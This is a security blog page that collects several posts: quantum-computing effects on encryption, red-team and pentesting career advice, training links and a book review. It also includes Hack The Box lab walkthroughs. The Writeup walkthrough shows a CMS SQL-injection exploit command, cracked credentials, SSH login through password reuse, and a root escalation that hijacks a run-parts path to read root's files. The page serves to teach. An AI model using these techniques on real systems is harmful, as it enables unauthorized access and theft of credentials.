Hacking – We learn Security!

Quantum Computing and IT security implications

This article is not for learning quantum computing (I am not the right person for that), but to understand some of the implications for IT security and maybe give some help in taking the very first steps.

Introduction to Quantum Computing for Dummies

Since it is so popular let us ask ChatGPT:

OK, know that it is all clear, let’s move on!

I watched these as an easy to understand introduction into this complex topic.

Quantum Computers Explained in a Way Anyone Can Understand

Dig deeper into Quantum computing

If you want to dig deeper have a look at this article, which also links some free introducing books:

https://builtin.com/software-engineering-perspectives/how-to-learn-quantum-computing

This also looks interesting:

https://towardsdatascience.com/the-ultimate-beginners-guide-to-quantum-computing-and-its-applications-5b43c8fbcd8f

Braking RSA

A current discussion is when/how RSA will be broke.

RSA’s demise from quantum attacks is very much exaggerated, expert says

Expert says the focus on quantum attacks may distract us from more immediate threats.

https://arstechnica.com/information-technology/2023/01/fear-not-rsa-encryption-wont-fall-to-quantum-computing-anytime-soon/

One more article about this topic:

Fujitsu: Quantum computers no threat to encryption just yet comment bubble on black

Heavily hyped tech bound for some sort of milestone by decade end

https://www.theregister.com/2023/01/24/fujitsu_quantum_encryption/

Implications in depth

And if you want to dig deeper in these topics here are three fantastic resources:

Quantum computers are nuclear weapons of the tech – but their potential is immeasurable

As scientists across the world express their excitement about the development of quantum technology, others are worried about the dangers it poses to today’s encryption and the potential benefits it could offer to cybercriminals.

https://cybernews.com/crypto/quantum-computers-promises/

Ensure to watch the video at the end:

The Story of Shor’s Algorithm, Straight From the Source | Peter Shor

How Quantum Computers Break Encryption | Shor’s Algorithm Explained

Conclusion

For me it is hard to look into the future here, this field is much too complex and I have only some basic understanding. From what I see at the current point there is no direct impact and we all should be aware that there is also some hype. Maybe you should start to consider what might happen if your current encryption will be broke in the future. I hope I showed a path for starting research for everyone who is interested.

Quantum Computing can have great impact on lot’s of fields, obviously IT security and encryption is only a very small fraction of it. I wonder what it will mean for all STEM fields like astronomy, material research, medicine, understanding the brain, the universe and all the rest.

Career Path Red Teaming

For some people Red Teaming seems to be something like the holy grail and many people want to do it. In my opinion a Red Teamer should have experience in Penetration Testing before starting. Some experience in DFIR might also be useful, or at least you should have some understanding of this topic.

For me (I am planning and leading internal Red Team engagements since about two years now), Red Teaming is very different from pentesting, although experience here is important.

“Penetration testers have this problem where they frequently can’t see past the end of their Kali USB. They establish the false equivalence of: “China hacked $X; I can hack $X; therefore, I am an APT and an APT is like me.” An APT is literally the instantiation of a nation state’s will. It is not a toolchain.”
https://medium.com/@thegrugq/cyber-ignorethe-penetration-testers-900e76a49500

This sums up my experience. Some pentesters think: OK, let’s just use bloodhound, mimikatz and empire and and start firing, when I am domain admin it is red teaming. Well, maybe kind of.

But do real attackers think that way? Think more about WHY a malicious actor is trying to hack you, and then how. What are attackers looking for? That might define the scope of your engagement. You should read threat intel and incident reports for being up to date regarding TTPs and scope. When doing Red Teaming you should start thinking more into this direction.

I also tend to go through single scenarios, and not only full blown attack simulations, like:
• Account compromisation
• Exfiltration if possible
• APT traffic simulation for testing and enhancing capabilities of the blue team
• Phishing
• Water Holing
• Malware Simulation

This is also a good starting point for enhancing a penetration tester career, since usually you are not able to start with full blown Red Team engagments.

I can recommend “The Hacker Playbook” series, review for the third issue here. Further the book “Advanced Penetration Testing” is a good read.

More recommendations:
• https://www.cobaltstrike.com/training
• https://medium.com/@thegrugq/cyber-ignore-the-penetration-testers-900e76a49500
• https://www.pentesteracademy.com/redlabs
• https://github.com/aptnotes
• https://attack.mitre.org/
• https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2019.pdf?__blob=publicationFile&v=3

Hackthebox writeup

Yes, the machine itself is called writeup. My first step was running nmap:

 # nmap  10.10.10.138
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-03 21:54 CEST
Nmap scan report for 10.10.10.138
Host is up (0.021s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 4.74 seconds


# nmap -A -p 22,80 10.10.10.138
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-03 22:06 CEST
Nmap scan report for 10.10.10.138
Host is up (0.022s latency).


PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/writeup/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Nothing here yet.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   20.28 ms 10.10.12.1
2   20.47 ms 10.10.10.138


OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.40 seconds

More info gathering of the web service

As you can see CMS Made Simple is being used.

Exploitation of the website

After digging around a bit with sqlmap and Burp without success I searched for an exploit, and voila:
https://packetstormsecurity.com/files/152356/CMS-Made-Simple-SQL-Injection.html

The exploit was also able to crack, so I used rockyou.txt as a wordlist:

# python cmsmadesimple22-sql.py -u http://10.10.10.138/writeup/ -c -w ./rockyou.txt

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9

Login to cms is protected with a .htaccess file, creds are not valid here. Good that there is a thing called password re-use.

User flag

But ssh worked with the creds:

# ssh jkr@10.10.10.138
jkr@10.10.10.138's password:
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux


The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.


Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul  4 14:51:59 2019 from 10.10.12.57
jkr@writeup:~$
jkr@writeup:~$ ls
pspy64s user.txt
jkr@writeup:~$ cat user.txt
d4e493fd4068afc9eb1aa6a55319f978

So user flag was done…

Root flag

For escalating to root I first used exploit suggester and tried the exploits, but without success.

So I did some research and came across a tool called pyspy. For transfering the file I used apache and wget.

jkr@writeup:/tmp$ ./pspy64
...
root      2456  0.0  0.6 108644  6940 ?        Ss   15:10   0:00 sshd: jkr [priv]
root      2468  0.0  0.0   4276   756 ?        S    15:10   0:00 sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
root      2469  0.0  1.0  40364 10348 ?        S    15:10   0:00 /usr/bin/python /usr/local/bin/run-parts --lsbsysinit /etc/update-motd.d
root      2470  0.0  0.0   4276   732 ?        S    15:10   0:00 /bin/sh -i 
...

What does that mean? run-parts is executing all files in /usr/local/bin/run-parts. If we can put a file here we win.

The file looks like:

cat /root/root.txt >> /tmp/.testing

Then it is straight forward:

jkr@writeup:/tmp$ vi /usr/local/sbin/run-parts
jkr@writeup:/tmp$ chmod +x  /usr/local/sbin/run-parts
jkr@writeup:/tmp$ ls -al
total 4380
drwxrwxrwt  2 root root    4096 Jul  7 16:30 .
drwxr-xr-x 22 root root    4096 Apr 19 07:31 ..
-rw-r--r--  1 root root      33 Jul  7 16:30 .testing
jkr@writeup:/tmp$ cat .testing
eeba47f60b48ef92b734f9b6198d7226

And that was it :).

More free Pentesting resources

While I wrote the articles about how to start a pentesting career I came accross more great resources that I did not mention before, so here they are. Most of it is hands-on :).

The Complete Beginner Network Penetration Testing Course for 2019

CTP/OSCE Prep – Wrapping Up Our Prep
Article with OSCE resources.
https://h0mbre.github.io/CTP_Summary/#

Web Application Exploits and Defenses
Online Webapp hacking.
https://google-gruyere.appspot.com/

XSS challenges
Online XSS challenges.
http://xss-quiz.int21h.jp/

XXE Lab
XXE Lab for downloading and hacking.
https://github.com/jbarone/xxelab

Root Me
Hacking challenges online.
https://www.root-me.org/

Cryptopals
Crypto hacking CTF.
https://cryptopals.com/

RingZer0 CTF
https://ringzer0ctf.com/challenges

Damn Vulnerable Web Application (DVWA)
Vulnerable weeb hacking VM (download).
http://www.dvwa.co.uk/

Pentesterlab
List of the free Webapp hacking excercises.
https://pentesterlab.com/exercises?dir=desc&only=free&sort=published_at

Link List with more CTFs and excercises
https://wheresmykeyboard.com/2016/07/hacking-sites-ctfs-wargames-practice-hacking-skills/

Kali Training
https://kali.training/

Vulnhub
Loads of challenges and VMs (downloads).
https://www.vulnhub.com/

Book review The Hacker Playbook 3

The Hacker Playbook 3
Authors: Peter Kim
Content: Main focus is on Red Teaming
Career: Penetration Tester
Level: Intermediate, Expert

This week I did read the great book The Hacker Playbook 3 by Peter Kim. The focus of the book lies on Red Teaming, it makes sense to read also the first two books if you do not have prior knowledge to penetration testing.

Content:

Difference between pentesting and red teaming
MITRE ATT&CK framework
Tools setup
Reconnaissance phase
optional lab setup & exercises
about web attacks like node.js, nosql injections, deserializiation attacks and more
hacking the (windows) network for example with responder, password spraying
privilege escalation with misconfigured services, exploit suggester and more
mimikatz magic of course
attacks on macs with empire
bloodhound and sharphound
lateral movement using different techniques
pivoting
social engineering campaings & physical attacks
recompile meterpreter dlls for avoiding detection
password cracking
write your own droppers

I highly recommend this book, especially if you are into Red Teaming it is a good resource. Maybe a report about owing the Cyber Space Kittens lab would have been nice, since reporting in Red Teaming is a non trivial task.

Write-up hackthebox netmon

After the getting started article, here is a walkthrough for hackthebox netmon, to get an impression how to pwn machines. This was a nice one and I guess one of the the easier.

Portscan

Nmap 7.70 scan initiated Thu May 23 21:38:11 2019 as: nmap -A -oA netmon 10.10.10.152

Nmap scan report for 10.10.10.152

Host is up (0.043s latency).

Not shown: 995 closed ports

PORT    STATE SERVICE      VERSION

21/tcp  open  ftp          Microsoft ftpd

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| 02-03-19  12:18AM                 1024 .rnd

| 02-25-19  10:15PM                 inetpub

| 07-16-16  09:18AM                 PerfLogs

| 02-25-19  10:56PM                 Program Files

| 02-03-19  12:28AM                 Program Files (x86)

| 02-03-19  08:08AM                 Users

|02-25-19  11:49PM                 Windows
| ftp-syst:
|  SYST: Windows_NT

80/tcp  open  http         Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)

|_http-server-header: PRTG/18.1.37.13946

| http-title: Welcome | PRTG Network Monitor (NETMON)

|_Requested resource was /index.htm

|_http-trane-info: Problem with XML parsing of /evox/about

135/tcp open  msrpc        Microsoft Windows RPC

139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn

445/tcp open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

TCP/IP fingerprint:

OS:SCAN(V=7.70%E=4%D=5/23%OT=21%CT=1%CU=30959%PV=Y%DS=2%DC=T%G=Y%TM=5CE6F6C

OS:0%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=108%CI=I%II=I%TS=A)SEQ(SP=1

OS:07%GCD=1%ISR=108%TS=A)SEQ(SP=107%GCD=1%ISR=108%II=I%TS=A)OPS(O1=M54DNW8S

OS:T11%O2=M54DNW8ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54D

OS:ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=

OS:80%W=2000%O=M54DNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2

OS:(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%

OS:F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%

OS:T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD

OS:=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL

OS:=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops

Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:

|clock-skew: mean: 11s, deviation: 0s, median: 10s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|  message_signing: disabled (dangerous, but default)

| smb2-security-mode:

|   2.02:

|_    Message signing enabled but not required

| smb2-time:

|   date: 2019-05-23 21:38:48

|_  start_date: 2019-05-23 21:34:54

TRACEROUTE (using port 1723/tcp)

HOP RTT      ADDRESS

1   54.00 ms 10.10.12.1

2   54.08 ms 10.10.10.152

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done at Thu May 23 21:38:40 2019 -- 1 IP address (1 host up) scanned in 29.10 seconds

Connect via FTP

The user hash is easily found:

Now we have a look at the running web server. A PRTG instance is running here. After some searching the web it was clear that this might be a vulnerable version of PRTG (https://www.codewatch.org/blog/?p=453). No login with std creds (prtgadmin/prtgadmin) possible…

But we have the FTP server, which gives us some infomation:Some interesting stuff in the windows dir:

Here the credentials are encrypted. Some research show that in older versions that might be a problem (TODO, link). So I spent some time in finding valid credentials.

Also in c:\windows:

c:\ProgrammData is hidden but can be seen if you access it directly:

Get netmon prtgadmin credentials:

Something interesting in PRTG Configuration.old.bak:

After some trying I found out that the new password was: PrTg@admin2019, so this is something you have sometimes in real life, finding some credentials but still need to try around a bit. Then I followed mostly this description of the vulnerability: https://www.codewatch.org/blog/?p=453

Add a notification:

Leave defaults and choose “Execute Program” with the following settings:

Success, we can now get the hash from the test,txt file:

Pwnd! What I liked on this machine was that you needed to combine vulnerabilities. First find the credentials, then alter them to the working credentials. After that you had RCE.

Career Path Penetration Testing Basics

Penetration Testing – “A method for gaining assurance in the security of an IT system by attempting to breach some or all of that system’s security, using the same tools and techniques as an adversary might.” (From wikipedia)

The scope of the article is to help to get your first job as a penetration tester. If you have more great links or recommendations please add them in the comments section. Becoming a good penetration tester requires much more skills than described here. It also means that you never stop learning.

If you don’t know the IT- and IT security basics yet, please have a look here. When you want to start a career in Penetration Testing you should know that most of the penetration tests performed today are Web Application tests. Therefore this article is focusing on this topic. Later I will add new posts with Specializiation Paths for more advanced topics like exploitation, red teaming and so on.

As already mentioned in the article Career Path Security Basics, I strongly suggest that you make a plan what goal you want to reach. For example playing CTF all the time might be fun for some people, but if you need the OSCP it might not be helpful to waste too much time.

Web App Penetration Testing

Port Swigger: Web Security Academy
Content: Teaches the basics of Web Application Security, so far SQL Injection, XSS, OS command injection and File Path traversal. Comes with small labs.
Career: Penetration Test but I recommend it also for everyone interested in security
Level: Beginner
Price: Free

Review Wargames Over the Wire

URL: http://overthewire.org/wargames/
Career Path: Pentesters, Beginners in Security
Level: All, good for beginners

The wargames are free & fun, I tested two games so far, Bandit and Natas, but there are much more that include also crypto and explotation wargames.

Bandit

From the website:

aimed to absolute beginners
connection over ssh with given credentials, no registration needed
for learning linux commands/hacking
in each level you have to find the password for the next level
exercides are for example search for the password in hidden files, files with special characters, learning commands
Reading the exercise makes absolute sense here 😉

Example:
The password for the next level is stored somewhere on the server and has all of the following properties:* owned by user bandit7* owned by group bandit6* 33 bytes in size

For starting you get your first credentials and then hack on:

Natas
Natas is for learning webserver security. You can just start right away and log into the first exercise:

http://natas0.natas.labs.overthewire.org/

Read the source code
Use a proxy like Burpsuite might be useful
starting simple, but you should read a bit about html and http before starting
first find tokens in code, files, change cookies and so on

I hope I will have some time to write about the other wargames too.

Hack on!

Getting started with hackthebox

Career Path, Labs: Penetration Tester
Challenges: Penetration Tester, Forensics, Malware
Level: All

Until now I never realized that hackthebox also offers free accounts, so I decided to test it and write a short post.

After a challenge here you can create your login. With the connection pack for openvpn it is possible to connect to the labs with a Kali machine (or any other Linux I guess), easy.

With the free account you can solve challenges and active machines.

Active machines
For owning systems and users there are flags that are stored in files on the machines, for example:

The labs remind me about the OSCP labs, and lots of people are using them for training before the OSCP certification (which might be a good idea, though I did not) or to get an impression about the labs and the exam.

For more information and getting an impression about owning boxes look here, lot’s of walkthoughs for retired boxes.

At the time of this writing 20 machines were online, with different OS versions (Linux, Windows, BSD) and different scenarios. I had a closer look at some boxes and solved one so far in a couple of hours.

The lab looks really fun, and I would recommend it for everyone who wants to train and learn hacking.

Challenges
The challenges also look quite good, i had a look but honestly, I am much more into owning. Here are the categories for the challenges:

For solving for example the Stego challenges, you download a file with a hidden message and have to find it. I was surprised that there are also some Forensics challenges, I will defilnetly have a look into those too.

Conclusion
This is definetly a great playground for everyone who is into solving challenges and pwn boxes. I am not sure if hackthebox is good for total beginners, there are no big explanations or tutorials for the machines or what is to do. There are the official forums with hints and some websites offering more in depth explanations, although the rules say that this should not be done, and somehow as an OSCP taker (“Try harder”) this feels like cheating. With the VIP membership you also have the retired machines with walkthroughs.

For your career hands-on and solving challenges is a very important part, so I recommend: sign up.

Links:
https://www.secjuice.com/hack-the-box-starter-pack-edit/
https://veteransec.com/category/hack-the-box-write-ups/
https://resources.infosecinstitute.com/hack-the-box-htb-machines-walkthrough-series-jerry/#gref

From Beginner to Expert as Penetration Tester

This article is part of an article series about my personal experience and career in the penetration testing and security field.
Part 1: Start a Penetration Tester Career
Part 2: From Beginner to Expert as Penetration Tester (this part)
Part 3: Working at a CERT and shifting to Technical Lead

My first job
The first job as a penetration tester was pretty exciting for me. I was lucky to have many colleagues that engaged very much with the newcomers, and for the beginning everyone got at least three workshops lasting 2-4 days, if I remember correctly. The OSCP prepared me pretty well to the thinking of solving the day to day problems on the job. The job was at a consultancy company that mainly is doing penetration testing engagements in Germany. During that time I also started researching about antivirus evasion (in my free time btw). I most consultant jobs time on the job is short. For me that was a huge advantage, I was able to do web app testing in short time. Besides learning from colleagues I also read some books like The Web Application Hackers Handbook, The Shellcoder’s Handbook and Network Security Assessment.
I had my first presentation (in German at the Backtrack Day 2013) about antivirus evasion, which made me very proud of course.
During the first job that lasted 18 months I also visited the CCC Congress twice, had several chances to conduct interesting pentests (mostly web and mobile) and did an interesting online course (Malicious Software and its Underground Economy: Two Sides to Every Story). Because I liked the hole exploitation topics I made the SLAE certification, which was a lot of fun and I highly recommend, also for preparing the OSCE. Now there is also a 64 Bit version.

My second job
I learned a lot and had great colleagues, but for me it was time to move on to my second job as a penetration tester, where I had the chance to travel more and to work for clients on site. Further I had the chance to do some Digital Forensics and Indident Response (DFIR) under the condition I do any certification, so I choosed the one the looked easiest for me, that was the CHFI (Certified Hacking Forensics Investigator). I would not necessarily recommend it, but at this time it helped me improving my career and also to do some forensics and incident response work. For the preparations I bought “The Official CHFI Exam Study Guide”. For gaining more in depth knowledge about forensics I attended a course at the University of Applied Sciences Albstadt-Sigmaringen about data storage forensics.
Besides the work I continued my research on antivirus evasion and gave a talk at the Deepsec conference 2014 (“Why Antivirus Software fails“).
Also I had the chance to speak at public and closed events from my employer and started to visit the OWASP chapter Cologne. For education and to get from professional to expert level I decided to make the OSCE certification. That was a blast for me. I never had such a challenging time in my career and I fell through the first test and had to take a second shot. The OSCE is highly recognized especially in the Red Team and Exploitation community. Like the OSCP for me it is not about teaching certain techniques, but training the right attitude you need for breaking stuff (Try harder). I was glad when I got the famous mail from offensive security after the second exam.
After 17 months on that job I took my chance and hired at a CERT, this will be the story for part 3.

Conclusion & some notes

be grateful for the knowledge and support of friends and colleagues – sometimes I forget to say this… so to everyone who helped me during my career: thank you!
when it is time to move on, move on, after all it is about business and your personal development
Giving talks gave me the great opportunity to network in the community and also to improve self esteem and public speaking
Be flexible, I moved for each job in the IT security field
for more networking I started to use twitter
Don’t give up, “Try harder”, the motto by offensive security also applies to searching for jobs and many more lessons in life, this attitude helped me also with my research
Working at a consultancy company is helpful, since it teaches you to be effective (time and costs), you learn to deal with pressure

Further reading:
https://danielmiessler.com/study/infosec_interview_questions/
https://netsec.ws/?p=517
https://coffeegist.com/security/my-osce-review/
https://master-digitale-forensik.de/